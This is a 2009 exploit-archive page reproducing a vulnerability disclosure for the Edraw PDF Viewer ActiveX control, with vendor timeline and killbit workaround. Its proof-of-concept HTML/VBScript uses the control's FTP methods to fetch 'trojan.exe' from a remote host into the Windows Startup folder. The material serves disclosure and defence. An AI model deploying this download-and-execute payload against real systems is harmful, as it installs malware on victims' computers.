SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow ExploitAlert Database

Arrow  Topic :

Edraw PDF Viewer Component < 3.2.0.126 ActiveX Insecure Method Vuln


Arrow  ExploitAlert : 6445
  Milw0rm ID : 8986
Arrow  Credit : Jambalaya
Arrow  Date : 19.06.2009

Arrow   Download

Arrow   Plain text version


Arrow  Exploit Code :  

Edraw PDF Viewer Component ActiveX Remote code execution vulnerability

By Jambalaya of Nevis Labs
Date: 2009.06.16

Vender:
EdrawSoft

Affected:
Edraw PDF Viewer Component < 3.2.0.126
*other version may also be affected

Overview:
"Edraw PDF Viewer Component is a light weight ActiveX Control which
enables your application to display and interact with PDF files.It is
identical to Adobe Reader program and adds high speed viewing of PDF
documents to your applications easily." For more information, see the
vendor's site found at the following link: http://www.ocxt.com

Details:
The specific flaws exists in pdfviewer.ocx ActiveX control.Succssfully
exploiting this vulnerability allows attackers to execute arbitrary code
on vulnerable installation. The vulnerability exists due to FtpConnect()
function, which could download any file from remote FTP server and put
on user's disk.Malicious user could download trojan and put into
"startup" folder so that the trojan will run up when user's computer
restart. Successful exploitation requires that the target user browse to
a malicious web page.

Proof of Concept:
<html>
<body>
<BR><object classid="clsid:44A8091F-8F01-43B7-8CF7-4BBA71E61E04"
id="target" width="67" height="50"
codebase="http://www.ocxt.com/download/officeviewer.cab#6,0,612,1"></object
>
<BR><BR>
<script language="vbscript">
target.FtpConnect "ftp://192.168.220.201", "test", "tester"
target.FtpDownloadFile "trojan.exe", "C:\Documents and Settings\All
Users\Start Menu\Programs\Startup\trojan.exe"
target.FtpDisConnect
</script>
</body>
</html>

Workaround:
Set a killbit for this ActiveX.

Vendor Response:
2009.06.16 Vendor notified via email
2009.06.17 Vendor respond, and release patch





Arrow  Feedback :

If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server
Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability
PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)
ADT

Protect your family and valuables with Home Security Systems
Copyright © SecurityReason.com. All Rights Reserved.